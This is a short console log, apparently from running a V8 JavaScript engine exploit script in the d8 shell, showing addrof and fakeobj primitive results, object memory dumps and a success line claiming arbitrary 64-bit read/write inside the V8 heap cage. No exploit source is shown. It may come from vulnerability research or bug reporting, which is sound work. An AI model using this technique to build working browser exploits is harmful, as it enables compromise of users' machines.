V8 commit: 3110f734eda952e4795c484fb698d1ec7df51392
V8 version 15.1.0 (candidate)
Invocation: d8 exploit-main.js
V8 runtime flags: none

addrof(carrier) = 0x0123a30d
addrof(victim)  = 0x0123a385
fakeobj length  = 32
carrier +0x00  = 0x0100d141 0x000007e5
carrier +0x08  = 0x0123a325 0x00000010
victim.elements = 0x0123a39d, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
DEFAULT_FLAGS_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
